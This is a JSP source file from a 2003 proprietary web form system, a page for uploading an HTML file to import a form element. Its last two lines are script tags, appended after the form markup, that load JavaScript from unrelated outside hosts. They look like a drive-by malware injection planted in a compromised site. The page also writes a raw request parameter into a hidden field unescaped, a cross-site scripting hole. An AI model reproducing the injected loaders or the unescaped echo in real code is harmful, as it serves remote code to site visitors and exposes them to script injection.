  
<%
/*
 * @(#)EditFormElement.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  EditFormElement.jsp

  This class is reflecting business logic uses.

    @author           Scott Tong,Tony Chen
    @company          DCIVision Limited
    @creation date    27/12/2003
    @version          $Revision: 1.15.2.10 $
*/
%>


<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.form.bean.*"%>

<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintFormElementForm" scope="request" class="com.dcivision.form.web.MaintFormElementForm"/>

<script language="Javascript">
<!--
function OpCustSave(){
    if(!isHtmlFile()){
		return (false);
	}
	return OpSave();
}
function isHtmlFile(){
    var filePath = document.maintFormElementForm.uploadFile.value;
	var i =  filePath.lastIndexOf('.');
    var len = filePath.length;
    var str = filePath.substring(len,i+1);
    var exName = "HTM,HTML";
    var k = exName.indexOf(str.toUpperCase());
  if(k==-1){     
                alert("<bean:message key="errors.form.file_format_is_not_html"/>");
                return (false);   
            }   
			return (true);         
}

-->
</script>

<%
  if (!Utility.isEmpty(request.getParameter("functionMode"))){
	session.setAttribute("functionMode",request.getParameter("functionMode")); 
  }
 if (!Utility.isEmpty(request.getParameter("formSubmissionID"))){
	session.setAttribute("formSubmissionID",request.getParameter("formSubmissionID")); 
  }

 if (!Utility.isEmpty(request.getParameter("formRecordID"))){
	session.setAttribute("formRecordID",request.getParameter("formRecordID")); 
  }  
 if (!Utility.isEmpty(request.getParameter("formPageID"))){
	session.setAttribute("formPageID",request.getParameter("formPageID")); 
  } 
 if (!Utility.isEmpty(request.getParameter("formPageNo"))){
	session.setAttribute("formPageNo",request.getParameter("formPageNo")); 
  }else{
  	session.setAttribute("formPageNo","0"); 
  }
  
%>
<html:form action="form/MaintFormElement?navMode=I" enctype="multipart/form-data" styleClass="form-style-2">
<html:javascript formName="maintFormElementForm" method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>
 
<input type="hidden" name='opMode' value="">
<input type="hidden" name="navMode" value="I">
<html:hidden property='ID'/>
<input type="hidden" name="elementType" value="I">
<input type="hidden" name="formRecordID" value='<%=session.getAttribute("formRecordID")%>'>
<input type="hidden" name="formPageID" value='<%=session.getAttribute("formPageID")%>'>
<input type="hidden" name="formPageNo" value='<%=session.getAttribute("formPageNo")%>'>
<input type="hidden" name="formSubmissionHtml" value='<%=request.getParameter("formSubmissionHtml")%>'>
<input type="hidden" name="function" value="FORMSETUP">
<html:hidden property='recordStatus'/>
<html:hidden property='updateCount'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>
<table>
<%
  String returnURL;
  if ("formV".equals(session.getAttribute("functionMode")) || "SECTIONEDIT".equals(session.getAttribute("function")) || "FORMEDIT".equals(session.getAttribute("function")) || "FORMSETUP".equals(session.getAttribute("function"))) { 
    returnURL="MaintFormPage.do?navMode=V&preview=T&formRecordID="+session.getAttribute("formRecordID")+"&formPageNo="+session.getAttribute("formPageNo")+"&function=FORMSETUP";
  }else{
	if("null".equals(session.getAttribute("formSubmissionID"))){
      returnURL="MaintFormSubmission.do?navMode=E&formRecordID="+session.getAttribute("formRecordID")+"&formPageNo="+session.getAttribute("formPageNo")+"&function=FORMSETUP";
	}else{
      returnURL="MaintFormSubmission.do?navMode=E&formRecordID="+session.getAttribute("formRecordID")+"&formPageNo="+session.getAttribute("formPageNo")+"&formSubmissionID="+session.getAttribute("formSubmissionID")+"&function=FORMSETUP";
	}
  }
%>
<layout:returnButton className="btn-standard" returnURL="<%=returnURL%>"/>
</table>
<div class="new_header">
</div>
<!-- Page Title Section -->
<div class="generalContainer">
<table>
<!-- Image Form Element Handle Begin -->
<% if (request.getAttribute("Result")==null) { %>
       <tr>
         <td colspan="2">
           <div class="sectionTitle" style="margin-left:10px;">
             <bean:message key="form.label.html_import"/>
           </div>
       	 </td>
       </tr>
       <tr>
         <td colspan="2">
           <div class="sectionLine" style="margin-left:20px;">&nbsp;</div>
         </td>
       </tr>
       <tr>
         <td class="formLabelSmall"><bean:message key="form.label.image_upload"/>:&nbsp; </td>
         <td class="formFieldSmall">
           <html:standardButton label="form.label.image_upload" onClick="window.open('MaintUploadImgToImportFile.do?SHOW_HEADER_FOOTER=N&navMode=N','DCIVisionForm','location=no,scrollbars=yes,menubar=no,status=no,resizable=1,width=800,height=600,left=80,top=80')"/>
         </td>
        </tr>
        <tr>
          <td class="formLabelSmall"><bean:message key="form.label.html_import"/>:&nbsp; </td>
          <td class="formFieldSmall">&nbsp;<html:file property='uploadFile' size='60' onkeydown="javascript:return   false;"/></td>
        </tr>
       <tr>
          <td colspan="2"><html:img src='Spacer.gif'  height='5'/></td>
        </tr>     
        <tr>
          <td colspan="2"></td>
        </tr>

</table>
</div>
<div id="bottomButtonArea">
  <div id="buttonSection">  
  	<html:standardButton label="common.label.save" onClick="return OpCustSave()"/>
  </div>
</div>
<%}%>
</html:form>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>